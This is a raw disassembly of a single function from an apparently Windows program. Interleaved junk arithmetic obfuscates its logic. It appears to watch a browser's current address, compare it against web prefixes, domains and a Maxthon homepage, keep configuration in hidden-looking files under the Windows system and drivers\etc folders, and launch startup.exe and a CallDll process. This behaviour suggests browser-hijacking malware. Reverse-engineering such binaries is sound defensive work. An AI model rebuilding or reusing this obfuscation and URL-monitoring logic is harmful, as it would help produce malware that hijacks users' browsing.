mov ebx, dword [str._r_____r____]
sar edx, 3
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x455690]
imul ecx, ecx, 0x39
sub eax, ecx
mov ecx, dword [0x455688]
add eax, ebx
add ecx, eax
mov eax, 0x2aaaaaab
imul edi
mov dword [0x455688], ecx
imul ecx, ecx, 0x2a
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea edx, [esi + esi*4]
lea esi, [ecx + edx*2]
mov ecx, dword [0x45568c]
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10d4]
mov dword [0x4556a4], esi
mov ecx, dword [eax]
lea edx, [ebp - 0x10f4]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f4]
push eax
call fcn.0041ef90
mov ebx, eax
mov eax, dword [0x455688]
lea ecx, [eax + eax*8]
mov eax, dword [0x4556a8]
lea edx, [eax + eax*2]
shl edx, 4
lea esi, [edx + ecx*4]
mov ecx, dword [0x45569c]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x455690]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a0]
sub esi, ecx
sub esi, edx
sub esi, 0x39
test ebx, ebx
mov dword [0x455690], esi
je 0x41badf
mov edi, 0x44631c
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41badf
mov ecx, dword [0x455698]
mov eax, 0x78787879
imul ecx
mov eax, dword [0x4556a0]
mov ecx, dword [0x4556a8]
imul eax, eax, 0x2a
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, eax
mov eax, ecx
imul eax, eax, 0x39
sub esi, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 1
mov dword [0x455698], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f4]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f4]
push eax
call fcn.0041ef90
mov ebx, eax
mov ecx, dword [0x45568c]
mov esi, dword [0x455698]
mov eax, 0x94f2095
imul esi, esi, 0x17
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x37
push 4
sub esi, ecx
add esi, edx
push str.http
push ebx
mov dword [0x4556a0], esi
call fcn.0042a270
add esp, 0xc
test eax, eax
je 0x41bd37
push 4
push str.HTTP
push ebx
call fcn.0042a270
add esp, 0xc
test eax, eax
je 0x41bd37
push 4
push str.www.
push ebx
call fcn.0042a270
add esp, 0xc
test eax, eax
je 0x41bd37
push 4
push str.WWW.
push ebx
call fcn.0042a270
add esp, 0xc
test eax, eax
je 0x41bd37
push str.http:
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bbbd
push str.HTTP:
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bbbd
push str.www.
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bbbd
push str.WWW.
push ebx
call fcn.00429320
add esp, 8
test eax, eax
je 0x41bd37
mov ecx, dword [0x455698]
mov eax, 0x30c30c31
imul ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0x43
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x151d07eb
imul ecx
mov ecx, dword [0x455690]
sar edx, 3
imul ecx, ecx, 0x34
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push str.http:
push ebx
mov dword [0x4556a8], esi
call fcn.00429320
add esp, 8
test eax, eax
je 0x41bce3
push str.http:
jmp 0x41bd2c
mov ecx, dword [0x4556a4]
imul esi, esi, 0xffffffcf
imul edi, edi, 0x39
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x45569c]
sar edx, 3
mov ebx, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x151d07eb
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
sub ecx, edi
mov edi, dword [0x455688]
add ecx, ebx
add edi, ecx
push str.startup.exe
mov dword [0x455688], edi
call fcn.0040bba0
add esp, 4
test eax, eax
jle 0x41b1a8
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 5
je 0x41bca4
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41bcb8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41bccc
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ac41
jmp 0x41ac3b
push str.HTTP:
push ebx
call fcn.00429320
add esp, 8
test eax, eax
je 0x41bcfc
push str.HTTP:
jmp 0x41bd2c
push str.www.
push ebx
call fcn.00429320
add esp, 8
test eax, eax
je 0x41bd15
push str.www.
jmp 0x41bd2c
push str.WWW.
push ebx
call fcn.00429320
add esp, 8
test eax, eax
je 0x41bd37
push str.WWW.
push ebx
call fcn.00429320
add esp, 8
mov ebx, eax
mov eax, dword [0x4556a8]
mov esi, eax
shl esi, 4
add esi, eax
mov eax, 0x5397829d
imul dword [0x45569c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xd5555555
imul dword [0x455690]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov eax, 0x66666667
imul dword [0x455694]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
add ecx, esi
add ecx, edi
mov eax, edx
imul eax, eax, 0x34
add eax, ecx
mov dword [str._r_____r____], eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x446c6c]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x446c70]
mov dword [ebp - 0x4bc], ecx
mov cx, word [0x446c78]
mov word [ebp - 0x4b4], cx
mov dword [ebp - 0x4c0], eax
mov eax, dword [0x446c74]
mov dword [ebp - 0x4b8], eax
xor eax, eax
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4556a0]
stosw word es:[edi], ax
imul ecx, ecx, 0x34
mov eax, 0x30c30c31
imul edx
sar edx, 3
add ecx, edx
mov edi, edx
mov eax, 0x66666667
imul dword [0x455690]
shr edi, 0x1f
add edi, ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edi, edx
mov edx, dword [0x455694]
add ecx, edi
sub ecx, esi
sub ecx, edx
add ecx, 0x37
mov esi, ebx
mov dword [0x45568c], ecx
lea edi, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x41be50
sub esi, edi
mov dword [ebp - 0x10e8], esi
je 0x41bf98
push str.http:__
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str.HTTP:__
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str.www.
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str.WWW.
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..COM
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..com
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..NET
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..net
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..ORG
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..org
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push 0x446c24
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push 0x446c20
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..htm
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41bf7d
push str..HTM
push ebx
call fcn.00429320
add esp, 8
test eax, eax
je 0x41bf92
push ebx
lea edx, [ebp - 0x4c4]
push str.__s_
push edx
call fcn.004290b1
add esp, 0xc
mov ecx, dword [0x45568c]
mov eax, 0x5397829d
imul ecx, ecx, 0x34
imul dword [0x45569c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [0x4556a8]
mov esi, eax
shl esi, 4
add esi, eax
sub esi, edx
mov eax, 0x2aaaaaab
imul dword [0x455690]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x66666667
imul dword [0x455694]
sar edx, 2
mov eax, edx
shr eax, 0x1f
push str.C:WINDOWS_system_sdax.txt
add esi, edx
add eax, esi
push 0x400
add eax, ecx
lea ecx, [ebp - 0x8c4]
push ecx
push 0x445e1d
push str.rtgbh
push str.asdf
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41c13d
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c026
sub eax, edx
mov dword [ebp - 0x10e8], eax
je 0x41c13d
mov edi, 0x44631c
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x41c13d
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41c0cb
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.00429320
add esp, 8
test eax, eax
jne 0x41c0cb
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x41c0a8
test al, al
je 0x41c0a4
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x41c0a8
add esi, 2
add edi, 2
test al, al
jne 0x41c080
xor eax, eax
jmp 0x41c0ad
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c0cb
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.00429320
add esp, 8
test eax, eax
je 0x41c0df
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.00429320
add esp, 8
test eax, eax
je 0x41c13d
mov eax, dword [0x4556a8]
mov esi, dword [0x455688]
mov edi, dword [0x45569c]
lea eax, [eax + eax*2]
shl eax, 4
lea edx, [esi + esi*8]
lea ecx, [eax + edx*4]
mov eax, 0x2aaaaaab
imul edi
sar edx, 3
mov ebx, dword [0x4556a0]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
sub ecx, eax
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, ebx
sub ecx, 0x39
mov dword [0x455690], ecx
jmp 0x41c1e8
push 0
call fcn.004297aa
mov ecx, dword [0x455698]
mov dword [0x5697d8], eax
mov eax, 0x78787879
imul ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0x2a
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x4556a8]
mov edx, ecx
imul edx, edx, 0x39
sub esi, edx
mov eax, 0x4ec4ec4f
imul ecx
mov ecx, dword [0x455694]
sar edx, 4
mov edi, dword [0x5697d4]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x66666667
imul ecx
mov eax, dword [ebp - 0x10d4]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esp, 4
sub esi, ecx
mov ecx, dword [ebp - 0x110c]
push ecx
inc edi
mov dword [0x455698], esi
mov edx, dword [eax]
push eax
mov dword [0x5697d4], edi
call dword [edx + 0x9c]
mov ecx, dword [0x455690]
mov edi, dword [0x45569c]
mov esi, dword [0x455688]
mov ebx, dword [0x4556a0]
mov eax, 0x38e38e39
imul ebx, ebx, 0xffffffcf
imul ecx, ecx, 0x39
imul dword [0x4556a4]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x151d07eb
imul edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [ebp - 0x10d0]
sub eax, ecx
mov ecx, dword [str._r_____r____]
add eax, ecx
add esi, eax
test ebx, ebx
mov dword [0x455688], esi
je 0x41c743
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c243
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x41c743
mov eax, dword [0x455698]
lea eax, [eax + eax*8]
shl eax, 2
mov esi, eax
mov eax, 0x30c30c31
imul edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
sub esi, eax
add edx, dword [0x4556a4]
lea eax, [ecx + ecx*4]
add edx, esi
lea ecx, [edx + eax*2 - 0x39]
push 0xffffffffffffffff
mov dword [0x455694], ecx
push 0x5593b8
lea ecx, [ebp - 0x1138]
call fcn.00406170
mov ecx, dword [0x455698]
mov eax, 0x94f2095
imul ecx, ecx, 0x17
imul dword [0x45568c]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x37
sub ecx, eax
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x4556a0], ecx
mov edi, 0x558bb0
mov esi, ebx
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41c30b
test al, al
je 0x41c307
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41c30b
add esi, 2
add edi, 2
test al, al
jne 0x41c2e7
xor eax, eax
jmp 0x41c310
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c728
mov edi, dword [0x4556a8]
mov esi, ecx
imul esi, esi, 0x34
mov eax, edi
shl eax, 4
add eax, edi
sub esi, eax
mov eax, 0x30c30c31
imul dword [0x45568c]
sar edx, 3
add esi, edx
mov eax, edx
mov edx, dword [0x455690]
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0x10d0], eax
mov eax, 0x66666667
imul edx
mov eax, dword [ebp - 0x10d0]
sar edx, 2
mov esi, edx
add eax, edx
mov edx, dword [0x455694]
shr esi, 0x1f
add esi, eax
sub esi, edx
mov eax, ebx
add esi, 0x37
lea edx, [eax + 1]
mov dword [0x45568c], esi
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c384
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x41c3af
mov ecx, ebx
mov edx, 0x558bb0
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c3a0
jmp 0x41c427
mov eax, 0x78787879
imul ecx, ecx, 0x2a
imul dword [0x455698]
sar edx, 3
mov eax, edi
imul eax, eax, 0x39
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
sub esi, eax
mov eax, 0x4ec4ec4f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x66666667
imul dword [0x455694]
sar edx, 2
mov eax, edx
shr eax, 0x1f
sub esi, ecx
add eax, edx
push 0x7ff
sub esi, eax
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x558bb0
push 0x558bb0
mov dword [0x455698], esi
rep stosd dword es:[edi], eax
call fcn.0042a140
mov esi, dword [0x45568c]
add esp, 0xc
mov ecx, dword [0x4556a4]
mov edi, dword [0x455688]
mov eax, 0x2aaaaaab
imul edi, edi, 0x2a
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x66666667
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
lea ecx, [ecx + ecx*4]
add eax, edx
lea ecx, [edi + ecx*2]
sub ecx, eax
mov eax, 0x5582b0
mov dword [0x4556a4], ecx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c490
sub eax, esi
cmp eax, 5
jbe 0x41c728
push str.ConfigL6
push ebx
call fcn.00404a90
add esp, 8
test eax, eax
jne 0x41c728
mov ecx, dword [0x455698]
mov eax, 0x30c30c31
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x43
mov esi, ecx
mov ecx, dword [str._r_____r____]
sub esi, edx
mov eax, 0x151d07eb
imul ecx
mov ecx, dword [0x455690]
sar edx, 3
imul ecx, ecx, 0x34
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push 0x132b600
mov dword [0x4556a8], esi
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x41c5b7
mov ecx, dword [0x45569c]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x4556a8]
mov edx, eax
shl edx, 4
add edx, eax
mov edi, edx
sub edi, ecx
mov ecx, dword [0x455690]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x455694]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov ecx, edx
add edi, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x34
shr ecx, 0x1f
add ecx, edi
add ecx, edx
push 0x64
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x5582b0
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c5a0
sub eax, ecx
mov dword [ebp - 0x10d0], eax
je 0x41c5b7
inc esi
jmp 0x41c515
mov esi, dword [0x4556a0]
mov eax, dword [0x4556a8]
imul esi, esi, 0x34
mov ecx, eax
shl ecx, 4
add ecx, eax
sub esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x30c30c31
imul ecx
mov ecx, dword [0x455690]
sar edx, 3
add esi, edx
mov edi, edx
mov eax, 0x66666667
imul ecx
push str.C:WINDOWS_system32driversetc_service5.ini
sar edx, 2
shr edi, 0x1f
push 0x800
add edi, esi
mov esi, dword [0x455694]
mov eax, edx
shr eax, 0x1f
lea ecx, [ebp - 0x10c4]
push ecx
add edi, edx
add eax, edi
push 0x445e1d
sub eax, esi
push str.ConfigL5
add eax, 0x37
push str.GameType1
mov dword [0x45568c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x455698]
mov ecx, dword [0x45569c]
mov ebx, dword [0x4556a4]
lea edx, [eax + eax*8]
shl edx, 2
mov esi, edx
mov eax, 0x30c30c31
imul ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x34
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [str._r_____r____]
add ecx, ebx
add ecx, esi
lea edx, [eax + eax*4]
lea eax, [ecx + edx*2 - 0x39]
lea ecx, [ebp - 0x10c4]
push ecx
mov dword [0x455694], eax
call fcn.004297a5
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x445b00
push edx
call fcn.004290b1
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x455694]
mov eax, 0x2aaaaaab
imul ecx
mov esi, ecx
imul esi, esi, 0x39
sar edx, 3
mov edi, edx
shr edi, 0x1f
add esi, edx
mov ecx, dword [0x45568c]
mov eax, dword [0x455690]
mov edx, ecx
imul eax, eax, 0x31
imul edx, edx, 0x61
add edi, esi
mov esi, dword [0x5582a8]
add edi, edx
add edi, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
inc esi
push 0
mov dword [0x45569c], edi
mov dword [0x5582a8], esi
call fcn.004297aa
add esp, 4
mov dword [0x5582ac], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00406200
mov edi, dword [0x45569c]
mov esi, dword [0x455688]
mov eax, 0x2aaaaaab
imul esi, esi, 0x2a
imul dword [0x4556a4]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5397829d
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45568c]
lea edx, [edi + edi*4]
lea esi, [esi + edx*2]
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push ecx
mov ecx, dword [ebp - 0x10cc]
mov eax, esp
mov dword [0x4556a4], esi
mov dword [eax], ecx
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x41c7b6
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x569500
call fcn.00406f60
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
mov eax, 0x38e38e39
imul esi, esi, 0xffffffcf
imul ecx
mov ecx, dword [0x45569c]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edi, dword [str._r_____r____]
mov eax, 0x151d07eb
imul ecx
mov eax, dword [ebp - 0x10cc]
sar edx, 3
add esi, edx
mov ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x39
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x455688]
sub ecx, edx
add ecx, edi
add esi, ecx
push 0
push eax
mov dword [0x455688], esi
call fcn.00408be0
mov eax, dword [0x455688]
mov esi, dword [0x45569c]
lea ecx, [eax + eax*8]
mov eax, dword [0x4556a8]
lea edx, [eax + eax*2]
shl edx, 4
lea ecx, [edx + ecx*4]
mov eax, 0x2aaaaaab
imul esi
sar edx, 3
mov edi, dword [0x4556a0]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
sub ecx, eax
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add esp, 8
sub ecx, 0x39
mov dword [0x455690], ecx
jmp 0x41c88d
mov edi, dword [0x4556a0]
mov ecx, dword [0x455698]
imul edi, edi, 0x2a
mov eax, 0x78787879
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a8]
mov eax, edx
imul eax, eax, 0x39
add ecx, edi
sub ecx, eax
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x66666667
imul dword [0x455694]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov dword [0x455698], ecx
mov byte [ebp - 4], 5
je 0x41c906
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45569c]
mov ecx, dword [0x455698]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41c926
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov esi, dword [0x45569c]
mov ecx, dword [0x455698]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41c946
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45569c]
mov ecx, dword [0x455698]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ac4d
mov edx, dword [eax]
push eax
call dword [edx + 8]
jmp 0x41ac41
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41c97d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455698]
mov eax, 0x94f2095
imul ecx, ecx, 0x17
imul dword [0x45568c]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x37
add ecx, eax
mov eax, dword [ebp - 0x10e4]
mov dword [0x4556a0], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00428ee1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret